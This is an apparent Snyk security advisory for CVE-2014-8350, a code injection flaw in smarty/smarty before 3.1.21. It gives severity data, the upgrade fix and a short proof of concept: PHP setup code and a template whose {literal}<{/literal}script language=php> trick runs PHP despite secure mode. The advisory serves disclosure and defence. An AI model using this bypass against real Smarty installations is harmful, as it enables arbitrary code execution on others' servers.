Improper Control of Generation of Code ('Code Injection') Affecting smarty/smarty package, versions <3.1.21


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
4.59% (93rd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Improper Control of Generation of Code ('Code Injection') vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PHP-SMARTYSMARTY-6673752
  • published25 Apr 2024
  • disclosed17 May 2022
  • creditThue

Introduced: 17 May 2022

CVE-2014-8350  (opens in a new tab)
CWE-94  (opens in a new tab)

How to fix?

Upgrade smarty/smarty to version 3.1.21 or higher.

Overview

Affected versions of this package are vulnerable to Improper Control of Generation of Code ('Code Injection') due to the improper handling of template syntax. An attacker can execute arbitrary code on the server by crafting a template that includes malicious PHP code within a {literal}<{/literal}script language=php> tag. This bypasses the secure mode restrictions intended to prevent such actions.

PoC

<?php
require_once('/home/thue/smarty/libs/SmartyBC.class.php');
$smarty = new Smarty();

$smarty->setTemplateDir('templates/');
$smarty->setCompileDir('templates_c/');
$smarty->enableSecurity();
$smarty->force_compile = true;
$tpl = $smarty->createTemplate('test.tpl');
$tpl->compileTemplateSource();
$smarty->display('test.tpl');
?>

templates/test.tpl:
{literal}<{/literal}script language=php>echo 1+1;</script>

CVSS Scores

version 3.1